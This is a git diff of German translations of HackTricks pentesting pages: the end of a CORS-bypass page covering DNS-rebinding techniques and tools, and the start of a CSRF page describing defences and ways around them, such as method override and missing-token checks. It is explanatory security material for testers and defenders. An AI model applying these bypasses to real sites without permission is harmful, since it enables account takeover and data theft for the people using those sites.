Anfrage unverändert weiterzuleiten, stellt der Server seine eigene Anfrage mit den angegebenen Parametern. +### Iframe + Popup Umgehung -### Iframe + Popup-Umgehung - -Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem Sie ein **Iframe erstellen** und **daraus ein neues Fenster öffnen**. Weitere Informationen finden Sie auf der folgenden Seite: +Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem Sie **ein Iframe erstellen** und **daraus ein neues Fenster öffnen**. Weitere Informationen finden Sie auf der folgenden Seite: {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md) @@ -303,70 +289,70 @@ Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem DNS-Rebinding über TTL ist eine Technik, die verwendet wird, um bestimmte Sicherheitsmaßnahmen zu umgehen, indem DNS-Einträge manipuliert werden. So funktioniert es: 1. Der Angreifer erstellt eine Webseite und lässt das Opfer darauf zugreifen. -2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domain, um auf die Webseite des Opfers zu verweisen. -3. Der Browser des Opfers zwischenspeichert die DNS-Antwort, die eine TTL (Time to Live)-Wert enthält, der angibt, wie lange der DNS-Eintrag als gültig betrachtet werden soll. -4. Wenn die TTL abläuft, stellt der Browser des Opfers eine neue DNS-Anfrage, was es dem Angreifer ermöglicht, JavaScript-Code auf der Seite des Opfers auszuführen. -5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Server des Opfers zu senden. +2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domäne, um auf die Webseite des Opfers zu verweisen. +3. Der Browser des Opfers zwischenspeichert die DNS-Antwort, die möglicherweise einen TTL (Time to Live) Wert enthält, der angibt, wie lange der DNS-Eintrag als gültig betrachtet werden soll. +4. Wenn der TTL abläuft, macht der Browser des Opfers eine neue DNS-Anfrage, was es dem Angreifer ermöglicht, JavaScript-Code auf der Seite des Opfers auszuführen. +5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Opfer-Server zu senden. -Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die einen sofortigen Missbrauch dieser Technik verhindern können, selbst bei niedrigen TTL-Werten. +Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die möglicherweise einen sofortigen Missbrauch dieser Technik verhindern, selbst bei niedrigen TTL-Werten. -DNS-Rebinding kann nützlich sein, um explizite IP-Prüfungen zu umgehen, die vom Opfer durchgeführt werden, oder für Szenarien, in denen ein Benutzer oder Bot für einen längeren Zeitraum auf derselben Seite bleibt und der Cache abläuft. +DNS-Rebinding kann nützlich sein, um explizite IP-Prüfungen des Opfers zu umgehen oder in Szenarien, in denen ein Benutzer oder Bot für eine längere Zeit auf derselben Seite bleibt, um den Cache ablaufen zu lassen. -Wenn Sie eine schnelle Möglichkeit zum Missbrauch von DNS-Rebinding benötigen, können Sie Dienste wie [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) verwenden. +Wenn Sie eine schnelle Möglichkeit benötigen, DNS-Rebinding zu missbrauchen, können Sie Dienste wie [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) verwenden. -Um Ihren eigenen DNS-Rebinding-Server auszuführen, können Sie Tools wie **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) nutzen. Dies beinhaltet das Freigeben Ihres lokalen Ports 53/udp, das Erstellen eines A-Eintrags, der darauf verweist (z.B. ns.example.com), und das Erstellen eines NS-Eintrags, der auf den zuvor erstellten A-Subdomain verweist (z.B. ns.example.com). Jede Subdomain der ns.example.com-Subdomain wird dann von Ihrem Host aufgelöst. +Um Ihren eigenen DNS-Rebinding-Server auszuführen, können Sie Tools wie **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) nutzen. Dies beinhaltet das Freigeben Ihres lokalen Ports 53/udp, das Erstellen eines A-Eintrags, der darauf zeigt (z. B. ns.example.com), und das Erstellen eines NS-Eintrags, der auf den zuvor erstellten A-Subdomain zeigt (z. B. ns.example.com). Jede Subdomäne der ns.example.com-Subdomäne wird dann von Ihrem Host aufgelöst. Sie können auch einen öffentlich laufenden Server unter [http://rebind.it/singularity.html](http://rebind.it/singularity.html) erkunden, um ein besseres Verständnis und Experimente durchzuführen. -### DNS-Rebinding über **DNS-Cache-Flutung** +### DNS-Rebinding über **DNS-Cache-Fluten** -DNS-Rebinding über DNS-Cache-Flutung ist eine weitere Technik, die verwendet wird, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert es: +DNS-Rebinding über DNS-Cache-Fluten ist eine weitere Technik, die verwendet wird, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert es: -1. Zunächst erhält das Opfer bei einer DNS-Anfrage die IP-Adresse des Angreifers als Antwort. -2. Um die Caching-Verteidigung zu umgehen, nutzt der Angreifer einen Service Worker. Der Service Worker flutet den DNS-Cache, wodurch der zwischengespeicherte Angreifer-Servername effektiv gelöscht wird. -3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, erhält er nun die IP-Adresse 127.0.0.1, die normalerweise auf den localhost verweist. +1. Zunächst, wenn das Opfer eine DNS-Anfrage stellt, wird mit der IP-Adresse des Angreifers geantwortet. +2. Um die Caching-Verteidigung zu umgehen, nutzt der Angreifer einen Service-Worker. Der Service-Worker flutet den DNS-Cache, was effektiv den zwischengespeicherten Angreifer-Servernamen löscht. +3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, wird nun mit der IP-Adresse 127.0.0.1 geantwortet, die normalerweise auf den localhost verweist. -Durch Fluten des DNS-Caches mit dem Service Worker kann der Angreifer den DNS-Auflösungsprozess manipulieren und den Browser des Opfers dazu zwingen, eine zweite Anfrage zu stellen, die diesmal zur gewünschten IP-Adresse des Angreifers auflöst. +Durch Fluten des DNS-Caches mit dem Service-Worker kann der Angreifer den DNS-Auflösungsprozess manipulieren und den Browser des Opfers dazu zwingen, eine zweite Anfrage zu stellen, die diesmal auf die gewünschte IP-Adresse des Angreifers verweist. ### DNS-Rebinding über **Cache** -Eine weitere Möglichkeit, die Caching-Verteidigung zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomain beim DNS-Anbieter zu verwenden. So funktioniert es: +Eine weitere Möglichkeit, die Caching-Verteidigung zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomäne beim DNS-Anbieter zu verwenden. So funktioniert es: -1. Der Angreifer richtet zwei A-Einträge (oder einen einzelnen A-Eintrag mit zwei IPs) für dieselbe Subdomain beim DNS-Anbieter ein. +1. Der Angreifer richtet zwei A-Einträge (oder einen einzelnen A-Eintrag mit zwei IPs) für dieselbe Subdomäne beim DNS-Anbieter ein. 2. Wenn ein Browser diese Einträge überprüft, erhält er beide IP-Adressen. -3. Wenn der Browser sich entscheidet, die IP-Adresse des Angreifers zuerst zu verwenden, kann der Angreifer eine Nutzlast bereitstellen, die HTTP-Anfragen an dieselbe Domain sendet. -4. Sobald der Angreifer die IP-Adresse des Opfers erhalten hat, hört er auf, auf den Browser des Opfers zu antworten. -5. Der Browser des Opfers erkennt, dass die Domain nicht erreichbar ist, und verwendet stattdessen die zweite angegebene IP-Adresse. -6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), was es dem Angreifer ermöglicht, dies auszunutzen und Informationen vom Opfer zu sammeln und zu exfiltrieren. +3. Wenn der Browser sich entscheidet, zuerst die IP-Adresse des Angreifers zu verwenden, kann der Angreifer eine Nutzlast bereitstellen, die HTTP-Anfragen an dieselbe Domäne sendet. +4. Sobald der Angreifer jedoch die IP-Adresse des Opfers erhält, hört er auf, auf den Browser des Opfers zu antworten. +5. Der Browser des Opfers, nachdem er feststellt, dass die Domäne nicht reagiert, wechselt zur Verwendung der zweiten gegebenen IP-Adresse. +6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), was es dem Angreifer ermöglicht, diese zu missbrauchen und Informationen vom Opfer zu sammeln und zu exfiltrieren. -Diese Technik nutzt das Verhalten von Browsern aus, wenn mehrere IP-Adressen für eine Domain bereitgestellt werden. Indem die Antworten strategisch kontrolliert und die Wahl der IP-Adresse des Browsers manipuliert wird, kann ein Angreifer die SOP ausnutzen und auf Informationen des Opfers zugreifen. +Diese Technik nutzt das Verhalten von Browsern aus, wenn mehrere IP-Adressen für eine Domäne bereitgestellt werden. Indem die Antworten strategisch kontrolliert und die Wahl der IP-Adresse des Browsers manipuliert wird, kann ein Angreifer die SOP ausnutzen und Informationen vom Opfer abrufen. {% hint style="warning" %} -Beachten Sie, dass Sie zum Zugriff auf localhost versuchen sollten, **127.0.0.1** in Windows und **0.0.0.0** in Linux zu verwenden.\ -Anbieter wie Godaddy oder Cloudflare haben es mir nicht erlaubt, die IP-Adresse 0.0.0.0 zu verwenden, aber AWS Route53 hat es mir ermöglicht, einen A-Eintrag mit 2 IPs zu erstellen, wobei eine davon "0.0.0.0" ist. +Beachten Sie, dass Sie, um auf localhost zuzugreifen, versuchen sollten, **127.0.0.1** in Windows und **0.0.0.0** in Linux zurückzubinden.\ +Anbieter wie GoDaddy oder Cloudflare haben es mir nicht erlaubt, die IP 0.0.0.0 zu verwenden, aber AWS Route53 hat es mir ermöglicht, einen A-Eintrag mit 2 IPs zu erstellen, wobei eine davon "0.0.0.0" ist. {% endhint %} -Weitere Informationen finden Sie unter [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) -### Weitere gängige Umgehungen +Für weitere Informationen können Sie [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) überprüfen. +### Andere häufige Umgehungen -* Wenn **interne IPs nicht erlaubt sind**, haben sie möglicherweise **vergessen, 0.0.0.0 zu verbieten** (funktioniert auf Linux und Mac). -* Wenn **interne IPs nicht erlaubt sind**, antworten Sie mit einem **CNAME** auf **localhost** (funktioniert auf Linux und Mac). -* Wenn **interne IPs nicht als DNS-Antworten erlaubt sind**, können Sie **CNAMEs auf interne Dienste** wie www.corporate.internal antworten. +* Wenn **interne IPs nicht erlaubt sind**, könnten sie **vergessen haben, 0.0.0.0 zu verbieten** (funktioniert auf Linux und Mac) +* Wenn **interne IPs nicht erlaubt sind**, antworte mit einem **CNAME** zu **localhost** (funktioniert auf Linux und Mac) +* Wenn **interne IPs nicht als DNS-Antworten erlaubt sind**, können Sie **CNAMEs zu internen Diensten** wie www.corporate.internal antworten. ### DNS-Rebinding weaponisiert -Weitere Informationen zu den zuvor genannten Umgehungstechniken und zur Verwendung des folgenden Tools finden Sie in dem Vortrag [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). +Weitere Informationen zu den vorherigen Umgehungstechniken und wie man das folgende Tool verwendet, finden Sie im Vortrag [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers-DNS-Namens an die IP-Adresse der Zielmaschine zu binden und Angriffspayloads bereitzustellen, um verwundbare Software auf der Zielmaschine auszunutzen. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und Angriffspayloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen. ### Echter Schutz gegen DNS-Rebinding -* Verwenden Sie TLS in internen Diensten. -* Fordern Sie zur Datenzugriff Authentifizierung an. -* Überprüfen Sie den Host-Header. -* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Vorschlag, immer eine Vorab-Anfrage zu senden, wenn öffentliche Server auf interne Server zugreifen möchten. +* Verwenden Sie TLS bei internen Diensten +* Fordern Sie Authentifizierung zum Zugriff auf Daten an +* Validieren Sie den Host-Header +* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Vorschlag, immer eine Vorab-Anfrage zu senden, wenn öffentliche Server auf interne Server zugreifen möchten ## **Tools** @@ -378,6 +364,7 @@ Weitere Informationen zu den zuvor genannten Umgehungstechniken und zur Verwendu * [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe) ## Referenzen + * [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors) * [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin) * [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS) @@ -388,17 +375,16 @@ Weitere Informationen zu den zuvor genannten Umgehungstechniken und zur Verwendu * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) * [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) -
-Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index aa84a15d5..18e22315d 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,68 +2,75 @@
-Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! +Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
-
+
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren! -**Hacking Insights**\ -Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen. +**Hacking-Einblicke**\ +Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen **Echtzeit-Hack-News**\ -Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden. +Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden **Neueste Ankündigungen**\ -Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert. - -**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und arbeiten Sie noch heute mit Top-Hackern zusammen! +Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert +**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten! ## Cross-Site Request Forgery (CSRF) erklärt -**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitslücke, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Website besucht. Diese Website löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Absenden von Formularen oder das Abrufen von Bildern verwendet. +**Cross-Site Request Forgery (CSRF)** ist ein Typ von Sicherheitslücke, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Website besucht. Diese Website löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Absenden von Formularen oder das Abrufen von Bildern verwendet. ### Voraussetzungen für einen CSRF-Angriff + Um eine CSRF-Sicherheitslücke auszunutzen, müssen mehrere Bedingungen erfüllt sein: -1. **Identifizierung einer wertvollen Aktion**: Der Angreifer muss eine lohnenswerte Aktion finden, die ausgenutzt werden kann, wie z.B. das Ändern des Benutzerpassworts, der E-Mail-Adresse oder das Erhöhen von Berechtigungen. -2. **Sitzungsverwaltung**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können. +1. **Identifizierung einer wertvollen Aktion**: Der Angreifer muss eine lohnenswerte Aktion finden, die ausgenutzt werden kann, wie z.B. das Ändern des Benutzerpassworts, der E-Mail oder das Erhöhen von Berechtigungen. +2. **Sitzungsverwaltung**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header nicht für diesen Zweck manipuliert werden können. 3. **Fehlen von unvorhersehbaren Parametern**: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können. -### Schutz vor CSRF-Angriffen +### Schnellüberprüfung + +Sie könnten **die Anfrage in Burp erfassen** und CSRF-Schutzmaßnahmen überprüfen und um es aus dem Browser zu testen, können Sie auf **Als fetch kopieren** klicken und die Anfrage überprüfen: + +
+ +### Schutz vor CSRF + Es können mehrere Gegenmaßnahmen implementiert werden, um sich vor CSRF-Angriffen zu schützen: * [**SameSite-Cookies**](hacking-with-cookies/#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [Mehr über SameSite-Cookies](hacking-with-cookies/#samesite). -* [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Bypass](cors-bypass.md). -* **Benutzerverifizierung**: Das Auffordern nach dem Passwort des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen. -* **Überprüfung der Referrer- oder Origin-Header**: Die Validierung dieser Header kann dazu beitragen, sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Sorgfältig erstellte URLs können jedoch schlecht implementierte Überprüfungen umgehen, z.B.: -- Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL) -- Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL) -* **Ändern der Parameter-Namen**: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern. -* **CSRF-Token**: Die Einbindung eines eindeutigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen können das Risiko von CSRF erheblich verringern. Die Effektivität des Tokens kann durch die Durchsetzung von CORS verbessert werden. +* [**Cross-Origin-Ressourcenfreigabe**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff erfordert, dass die Antwort von der Opferseite gelesen wird. [Erfahren Sie mehr über CORS-Bypass](cors-bypass.md). +* **Benutzerverifizierung**: Das Auffordern nach dem Benutzerpasswort oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen. +* **Überprüfen von Referrer- oder Origin-Headern**: Die Validierung dieser Header kann dazu beitragen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Eine sorgfältige Gestaltung von URLs kann jedoch schlecht implementierte Überprüfungen umgehen, wie z.B.: +* Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL) +* Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL) +* **Ändern von Parameternamen**: Das Ändern von Parameternamen in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern. +* **CSRF-Token**: Die Integration eines eindeutigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen können das Risiko von CSRF erheblich verringern. Die Effektivität des Tokens kann durch die Durchsetzung von CORS verbessert werden. -Das Verständnis und die Umsetzung dieser Abwehrmaßnahmen sind entscheidend für die Sicherheit und Integrität von Webanwendungen. +Das Verständnis und die Implementierung dieser Abwehrmaßnahmen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen. -## Bypass der Verteidigung +## Abwehrmaßnahmen umgehen ### Von POST zu GET -Vielleicht ist das Formular, das Sie missbrauchen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob auch ein **GET** gültig ist und ob beim Senden einer GET-Anfrage das **CSRF-Token immer noch validiert wird**. +Vielleicht ist das Formular, das Sie missbrauchen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob ein **GET** ebenfalls **gültig** ist und ob beim Senden einer GET-Anfrage das **CSRF-Token immer noch validiert wird**. -### Fehlendes Token +### Fehlen des Tokens -Anwendungen können einen Mechanismus implementieren, um **Tokens zu validieren**, wenn sie vorhanden sind. Es entsteht jedoch eine Sicherheitslücke, wenn die Validierung vollständig übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der das Token enthält, nicht nur seinen Wert. Dadurch können sie den Validierungsprozess umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchführen. +Anwendungen könnten einen Mechanismus implementieren, um **Tokens zu validieren**, wenn sie vorhanden sind. Es entsteht jedoch eine Sicherheitslücke, wenn die Validierung vollständig übersprungen wird, wenn der Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der den Token trägt, nicht nur seinen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen. ### CSRF-Token ist nicht an die Benutzersitzung gebunden @@ -71,18 +78,17 @@ Anwendungen, die CSRF-Tokens **nicht an Benutzersitzungen binden**, stellen ein So nutzen Angreifer dies aus: -1. **Authentifizieren** Sie sich mit Ihrem eigenen Konto. -2. **Erhalten Sie ein gültiges CSRF-Token** aus dem globalen Pool. -3. **Verwenden Sie dieses Token** in einem CSRF-Angriff gegen ein Opfer. +1. **Authentifizieren** sich mit ihrem eigenen Konto. +2. **Erhalten ein gültiges CSRF-Token** aus dem globalen Pool. +3. **Verwenden dieses Token** in einem CSRF-Angriff gegen ein Opfer. -Diese Sicherheitslücke ermöglicht es Angreifern, unberechtigte Anfragen im Namen des Opfers zu stellen und den unzureichenden Token-Validierungsmechanismus der Anwendung auszunutzen. +Diese Sicherheitslücke ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen, indem sie den unzureichenden Token-Validierungsmechanismus der Anwendung ausnutzen. -### Umgehung der Methode +### Methodenumgehung -Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die Funktion zur **Methodenüberschreibung** funktioniert. -Wenn beispielsweise eine **PUT**-Methode verwendet wird, können Sie versuchen, eine **POST**-Methode zu verwenden und Folgendes zu senden: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methode** **Überschreibungsfunktion** funktioniert. Wenn beispielsweise eine **PUT**-Methode verwendet wird, können Sie versuchen, eine **POST**-Methode zu verwenden und zu **senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ -Dies könnte auch funktionieren, indem der **\_method-Parameter in einer POST-Anfrage** gesendet wird oder indem die **Header** verwendet werden: +Dies könnte auch funktionieren, indem der **\_method-Parameter innerhalb einer POST-Anfrage** gesendet wird oder indem die **Header** verwendet werden: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ @@ -90,16 +96,18 @@ Dies könnte auch funktionieren, indem der **\_method-Parameter in einer POST-An ### Umgehung des benutzerdefinierten Header-Tokens -Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** als **CSRF-Schutzmethode** hinzufügt, dann: +Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** zur Anfrage als **CSRF-Schutzmethode** hinzufügt, dann: -* Testen Sie die Anfrage ohne das **angepasste Token und auch den Header**. +* Testen Sie die Anfrage ohne das **angepasste Token und auch Header**. * Testen Sie die Anfrage mit genau **gleicher Länge, aber unterschiedlichem Token**. ### CSRF-Token wird durch ein Cookie überprüft -Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfragemarameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das Token, das im Backend gesendet wird, mit dem Cookie übereinstimmt. Die Anwendung überprüft Anfragen, indem sie prüft, ob das Token im Anfragemarameter mit dem Wert im Cookie übereinstimmt. +Anwendungen können CSRF-Schutz implementieren, indem sie den Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob der im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie prüft, ob der Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt. -Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, z.B. +Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Fehler aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers 